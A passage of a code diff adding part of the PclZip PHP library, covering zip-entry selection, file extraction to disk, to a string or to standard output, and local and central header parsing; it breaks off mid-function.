+              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
+
+                  // ----- Look if the directory is in the filename path
+                  if (   (strlen($v_header['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
+                      && (substr($v_header['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      $v_extract = true;
+                  }
+              }
+              // ----- Look for a filename
+              elseif ($v_header['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
+                  $v_extract = true;
+              }
+          }
+      }
+
+      // ----- Look for extract by ereg rule
+      // ereg() is deprecated with PHP 5.3
+      /*
+      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
+               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
+
+          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header['stored_filename'])) {
+              $v_extract = true;
+          }
+      }
+      */
+
+      // ----- Look for extract by preg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
+               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
+
+          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header['stored_filename'])) {
+              $v_extract = true;
+          }
+      }
+
+      // ----- Look for extract by index rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
+               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
+
+          // ----- Look if the index is in the list
+          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_extract); $j++) {
+
+              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
+                  $v_extract = true;
+              }
+              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
+                  $j_start = $j+1;
+              }
+
+              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
+                  break;
+              }
+          }
+      }
+
+      // ----- Look for no rule, which means extract all the archive
+      else {
+          $v_extract = true;
+      }
+
+	  // ----- Check compression method
+	  if (   ($v_extract)
+	      && (   ($v_header['compression'] != 8)
+		      && ($v_header['compression'] != 0))) {
+          $v_header['status'] = 'unsupported_compression';
+
+          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+              $this->privSwapBackMagicQuotes();
+
+              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_COMPRESSION,
+			                       "Filename '".$v_header['stored_filename']."' is "
+				  	    	  	   ."compressed by an unsupported compression "
+				  	    	  	   ."method (".$v_header['compression'].") ");
+
+              return PclZip::errorCode();
+		  }
+	  }
+
+	  // ----- Check encrypted files
+	  if (($v_extract) && (($v_header['flag'] & 1) == 1)) {
+          $v_header['status'] = 'unsupported_encryption';
+
+          // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+          if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		      && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+              $this->privSwapBackMagicQuotes();
+
+              PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION,
+			                       "Unsupported encryption for "
+				  	    	  	   ." filename '".$v_header['stored_filename']
+								   ."'");
+
+              return PclZip::errorCode();
+		  }
+    }
+
+      // ----- Look for real extraction
+      if (($v_extract) && ($v_header['status'] != 'ok')) {
+          $v_result = $this->privConvertHeader2FileInfo($v_header,
+		                                        $p_file_list[$v_nb_extracted++]);
+          if ($v_result != 1) {
+              $this->privCloseFd();
+              $this->privSwapBackMagicQuotes();
+              return $v_result;
+          }
+
+          $v_extract = false;
+      }
+
+      // ----- Look for real extraction
+      if ($v_extract)
+      {
+
+        // ----- Go to the file position
+        @rewind($this->zip_fd);
+        if (@fseek($this->zip_fd, $v_header['offset']))
+        {
+          // ----- Close the zip file
+          $this->privCloseFd();
+
+          $this->privSwapBackMagicQuotes();
+
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+          // ----- Return
+          return PclZip::errorCode();
+        }
+
+        // ----- Look for extraction as string
+        if ($p_options[PCLZIP_OPT_EXTRACT_AS_STRING]) {
+
+          $v_string = '';
+
+          // ----- Extracting the file
+          $v_result1 = $this->privExtractFileAsString($v_header, $v_string, $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted])) != 1)
+          {
+            // ----- Close the zip file
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+
+            return $v_result;
+          }
+
+          // ----- Set the file content
+          $p_file_list[$v_nb_extracted]['content'] = $v_string;
+
+          // ----- Next extracted file
+          $v_nb_extracted++;
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+        // ----- Look for extraction in standard output
+        elseif (   (isset($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT]))
+		        && ($p_options[PCLZIP_OPT_EXTRACT_IN_OUTPUT])) {
+          // ----- Extracting the file in standard output
+          $v_result1 = $this->privExtractFileInOutput($v_header, $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            return $v_result;
+          }
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+        // ----- Look for normal extraction
+        else {
+          // ----- Extracting the file
+          $v_result1 = $this->privExtractFile($v_header,
+		                                      $p_path, $p_remove_path,
+											  $p_remove_all_path,
+											  $p_options);
+          if ($v_result1 < 1) {
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+            return $v_result1;
+          }
+
+          // ----- Get the only interesting attributes
+          if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1)
+          {
+            // ----- Close the zip file
+            $this->privCloseFd();
+            $this->privSwapBackMagicQuotes();
+
+            return $v_result;
+          }
+
+          // ----- Look for user callback abort
+          if ($v_result1 == 2) {
+          	break;
+          }
+        }
+      }
+    }
+
+    // ----- Close the zip file
+    $this->privCloseFd();
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  //
+  // 1 : ... ?
+  // PCLZIP_ERR_USER_ABORTED(2) : User ask for extraction stop in callback
+  // --------------------------------------------------------------------------------
+  function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Read the file header
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for all path to remove
+    if ($p_remove_all_path == true) {
+        // ----- Look for folder entry that not need to be extracted
+        if (($p_entry['external']&0x00000010)==0x00000010) {
+
+            $p_entry['status'] = "filtered";
+
+            return $v_result;
+        }
+
+        // ----- Get the basename of the path
+        $p_entry['filename'] = basename($p_entry['filename']);
+    }
+
+    // ----- Look for path to remove
+    else if ($p_remove_path != "")
+    {
+      if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2)
+      {
+
+        // ----- Change the file status
+        $p_entry['status'] = "filtered";
+
+        // ----- Return
+        return $v_result;
+      }
+
+      $p_remove_path_size = strlen($p_remove_path);
+      if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path)
+      {
+
+        // ----- Remove the path
+        $p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size);
+
+      }
+    }
+
+    // ----- Add the path
+    if ($p_path != '') {
+      $p_entry['filename'] = $p_path."/".$p_entry['filename'];
+    }
+
+    // ----- Check a base_dir_restriction
+    if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) {
+      $v_inclusion
+      = PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION],
+                                $p_entry['filename']);
+      if ($v_inclusion == 0) {
+
+        PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION,
+			                     "Filename '".$p_entry['filename']."' is "
+								 ."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION");
+
+        return PclZip::errorCode();
+      }
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+    }
+
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+    // ----- Look for specific actions while the file exist
+    if (file_exists($p_entry['filename']))
+    {
+
+      // ----- Look if file is a directory
+      if (is_dir($p_entry['filename']))
+      {
+
+        // ----- Change the file status
+        $p_entry['status'] = "already_a_directory";
+
+        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+        // For historical reason first PclZip implementation does not stop
+        // when this kind of error occurs.
+        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+            PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY,
+			                     "Filename '".$p_entry['filename']."' is "
+								 ."already used by an existing directory");
+
+            return PclZip::errorCode();
+		    }
+      }
+      // ----- Look if file is write protected
+      else if (!is_writeable($p_entry['filename']))
+      {
+
+        // ----- Change the file status
+        $p_entry['status'] = "write_protected";
+
+        // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+        // For historical reason first PclZip implementation does not stop
+        // when this kind of error occurs.
+        if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		    && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+            PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
+			                     "Filename '".$p_entry['filename']."' exists "
+								 ."and is write protected");
+
+            return PclZip::errorCode();
+		    }
+      }
+
+      // ----- Look if the extracted file is older
+      else if (filemtime($p_entry['filename']) > $p_entry['mtime'])
+      {
+        // ----- Change the file status
+        if (   (isset($p_options[PCLZIP_OPT_REPLACE_NEWER]))
+		    && ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) {
+	  	  }
+		    else {
+            $p_entry['status'] = "newer_exist";
+
+            // ----- Look for PCLZIP_OPT_STOP_ON_ERROR
+            // For historical reason first PclZip implementation does not stop
+            // when this kind of error occurs.
+            if (   (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR]))
+		        && ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) {
+
+                PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL,
+			             "Newer version of '".$p_entry['filename']."' exists "
+					    ."and option PCLZIP_OPT_REPLACE_NEWER is not selected");
+
+                return PclZip::errorCode();
+		      }
+		    }
+      }
+      else {
+      }
+    }
+
+    // ----- Check the directory availability and create it if necessary
+    else {
+      if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/'))
+        $v_dir_to_check = $p_entry['filename'];
+      else if (!strstr($p_entry['filename'], "/"))
+        $v_dir_to_check = "";
+      else
+        $v_dir_to_check = dirname($p_entry['filename']);
+
+        if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) {
+
+          // ----- Change the file status
+          $p_entry['status'] = "path_creation_fail";
+
+          // ----- Return
+          //return $v_result;
+          $v_result = 1;
+        }
+      }
+    }
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010))
+      {
+        // ----- Look for not compressed file
+        if ($p_entry['compression'] == 0) {
+
+    		  // ----- Opening destination file
+          if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0)
+          {
+
+            // ----- Change the file status
+            $p_entry['status'] = "write_error";
+
+            // ----- Return
+            return $v_result;
+          }
+
+
+          // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+          $v_size = $p_entry['compressed_size'];
+          while ($v_size != 0)
+          {
+            $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+            $v_buffer = @fread($this->zip_fd, $v_read_size);
+            /* Try to speed up the code
+            $v_binary_data = pack('a'.$v_read_size, $v_buffer);
+            @fwrite($v_dest_file, $v_binary_data, $v_read_size);
+            */
+            @fwrite($v_dest_file, $v_buffer, $v_read_size);
+            $v_size -= $v_read_size;
+          }
+
+          // ----- Closing the destination file
+          fclose($v_dest_file);
+
+          // ----- Change the file mtime
+          touch($p_entry['filename'], $p_entry['mtime']);
+
+
+        }
+        else {
+          // ----- TBC
+          // Need to be finished
+          if (($p_entry['flag'] & 1) == 1) {
+            PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.');
+            return PclZip::errorCode();
+          }
+
+
+          // ----- Look for using temporary file to unzip
+          if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
+              && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
+                  || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
+                      && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) {
+            $v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options);
+            if ($v_result < PCLZIP_ERR_NO_ERROR) {
+              return $v_result;
+            }
+          }
+
+          // ----- Look for extract in memory
+          else {
+
+
+            // ----- Read the compressed file in a buffer (one shot)
+            $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+            // ----- Decompress the file
+            $v_file_content = @gzinflate($v_buffer);
+            unset($v_buffer);
+            if ($v_file_content === FALSE) {
+
+              // ----- Change the file status
+              // TBC
+              $p_entry['status'] = "error";
+
+              return $v_result;
+            }
+
+            // ----- Opening destination file
+            if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
+
+              // ----- Change the file status
+              $p_entry['status'] = "write_error";
+
+              return $v_result;
+            }
+
+            // ----- Write the uncompressed data
+            @fwrite($v_dest_file, $v_file_content, $p_entry['size']);
+            unset($v_file_content);
+
+            // ----- Closing the destination file
+            @fclose($v_dest_file);
+
+          }
+
+          // ----- Change the file mtime
+          @touch($p_entry['filename'], $p_entry['mtime']);
+        }
+
+        // ----- Look for chmod option
+        if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) {
+
+          // ----- Change the mode of the file
+          @chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]);
+        }
+
+      }
+    }
+
+  	// ----- Change abort status
+  	if ($p_entry['status'] == "aborted") {
+        $p_entry['status'] = "skipped";
+  	}
+
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileUsingTempFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileUsingTempFile(&$p_entry, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Creates a temporary file
+    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
+    if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) {
+      fclose($v_file);
+      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
+      return PclZip::errorCode();
+    }
+
+
+    // ----- Write gz file format header
+    $v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3));
+    @fwrite($v_dest_file, $v_binary_data, 10);
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    $v_size = $p_entry['compressed_size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($this->zip_fd, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @fwrite($v_dest_file, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Write gz file format footer
+    $v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']);
+    @fwrite($v_dest_file, $v_binary_data, 8);
+
+    // ----- Close the temporary file
+    @fclose($v_dest_file);
+
+    // ----- Opening destination file
+    if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) {
+      $p_entry['status'] = "write_error";
+      return $v_result;
+    }
+
+    // ----- Open the temporary gz file
+    if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) {
+      @fclose($v_dest_file);
+      $p_entry['status'] = "read_error";
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
+      return PclZip::errorCode();
+    }
+
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    $v_size = $p_entry['size'];
+    while ($v_size != 0) {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @gzread($v_src_file, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @fwrite($v_dest_file, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+    @fclose($v_dest_file);
+    @gzclose($v_src_file);
+
+    // ----- Delete the temporary file
+    @unlink($v_gzip_temp_name);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileInOutput()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileInOutput(&$p_entry, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Read the file header
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1) {
+      return $v_result;
+    }
+
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+//      eval('$v_result = '.$p_options[PCLZIP_CB_PRE_EXTRACT].'(PCLZIP_CB_PRE_EXTRACT, $v_local_header);');
+      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+    }
+
+    // ----- Trace
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
+        // ----- Look for not compressed file
+        if ($p_entry['compressed_size'] == $p_entry['size']) {
+
+          // ----- Read the file in a buffer (one shot)
+          $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+          // ----- Send the file to the output
+          echo $v_buffer;
+          unset($v_buffer);
+        }
+        else {
+
+          // ----- Read the compressed file in a buffer (one shot)
+          $v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+          // ----- Decompress the file
+          $v_file_content = gzinflate($v_buffer);
+          unset($v_buffer);
+
+          // ----- Send the file to the output
+          echo $v_file_content;
+          unset($v_file_content);
+        }
+      }
+    }
+
+	// ----- Change abort status
+	if ($p_entry['status'] == "aborted") {
+      $p_entry['status'] = "skipped";
+	}
+
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractFileAsString()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privExtractFileAsString(&$p_entry, &$p_string, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Read the file header
+    $v_header = array();
+    if (($v_result = $this->privReadFileHeader($v_header)) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+
+    // ----- Check that the file header is coherent with $p_entry info
+    if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) {
+        // TBC
+    }
+
+    // ----- Look for pre-extract callback
+    if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_entry['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+        // ----- This status is internal and will be changed in 'skipped'
+        $p_entry['status'] = "aborted";
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      $p_entry['filename'] = $v_local_header['filename'];
+    }
+
+
+    // ----- Look if extraction should be done
+    if ($p_entry['status'] == 'ok') {
+
+      // ----- Do the extraction (if not a folder)
+      if (!(($p_entry['external']&0x00000010)==0x00000010)) {
+        // ----- Look for not compressed file
+  //      if ($p_entry['compressed_size'] == $p_entry['size'])
+        if ($p_entry['compression'] == 0) {
+
+          // ----- Reading the file
+          $p_string = @fread($this->zip_fd, $p_entry['compressed_size']);
+        }
+        else {
+
+          // ----- Reading the file
+          $v_data = @fread($this->zip_fd, $p_entry['compressed_size']);
+
+          // ----- Decompress the file
+          if (($p_string = @gzinflate($v_data)) === FALSE) {
+              // TBC
+          }
+        }
+
+        // ----- Trace
+      }
+      else {
+          // TBC : error : can not extract a folder in a string
+      }
+
+    }
+
+  	// ----- Change abort status
+  	if ($p_entry['status'] == "aborted") {
+        $p_entry['status'] = "skipped";
+  	}
+
+    // ----- Look for post-extract callback
+    elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_entry, $v_local_header);
+
+      // ----- Swap the content to header
+      $v_local_header['content'] = $p_string;
+      $p_string = '';
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header);
+
+      // ----- Swap back the content to header
+      $p_string = $v_local_header['content'];
+      unset($v_local_header['content']);
+
+      // ----- Look for abort result
+      if ($v_result == 2) {
+      	$v_result = PCLZIP_ERR_USER_ABORTED;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadFileHeader(&$p_header)
+  {
+    $v_result=1;
+
+    // ----- Read the 4 bytes signature
+    $v_binary_data = @fread($this->zip_fd, 4);
+    $v_data = unpack('Vid', $v_binary_data);
+
+    // ----- Check signature
+    if ($v_data['id'] != 0x04034b50)
+    {
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the first 42 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 26);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 26)
+    {
+      $p_header['filename'] = "";
+      $p_header['status'] = "invalid_header";
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data));
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    $v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data);
+
+    // ----- Get filename
+    $p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']);
+
+    // ----- Get extra_fields
+    if ($v_data['extra_len'] != 0) {
+      $p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']);
+    }
+    else {
+      $p_header['extra'] = '';
+    }
+
+    // ----- Extract properties
+    $p_header['version_extracted'] = $v_data['version'];
+    $p_header['compression'] = $v_data['compression'];
+    $p_header['size'] = $v_data['size'];
+    $p_header['compressed_size'] = $v_data['compressed_size'];
+    $p_header['crc'] = $v_data['crc'];
+    $p_header['flag'] = $v_data['flag'];
+    $p_header['filename_len'] = $v_data['filename_len'];
+
+    // ----- Recuperate date in UNIX format
+    $p_header['mdate'] = $v_data['mdate'];
+    $p_header['mtime'] = $v_data['mtime'];
+    if ($p_header['mdate'] && $p_header['mtime'])
+    {
+      // ----- Extract time
+      $v_hour = ($p_header['mtime'] & 0xF800) >> 11;
+      $v_minute = ($p_header['mtime'] & 0x07E0) >> 5;
+      $v_seconde = ($p_header['mtime'] & 0x001F)*2;
+
+      // ----- Extract date
+      $v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980;
+      $v_month = ($p_header['mdate'] & 0x01E0) >> 5;
+      $v_day = $p_header['mdate'] & 0x001F;
+
+      // ----- Get UNIX date format
+      $p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year);
+
+    }
+    else
+    {
+      $p_header['mtime'] = time();
+    }
+
+    // TBC
+    //for(reset($v_data); $key = key($v_data); next($v_data)) {
+    //}
+
+    // ----- Set the stored filename
+    $p_header['stored_filename'] = $p_header['filename'];
+
+    // ----- Set the status field
+    $p_header['status'] = "ok";
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privReadCentralFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privReadCentralFileHeader(&$p_header)
+  {
+    $v_result=1;
+
+    // ----- Read the 4 bytes signature
+    $v_binary_data = @fread($this->zip_fd, 4);
+    $v_data = unpack('Vid', $v_binary_data);
+
+    // ----- Check signature
+    if ($v_data['id'] != 0x02014b50)
+    {
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the first 42 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 42);
+
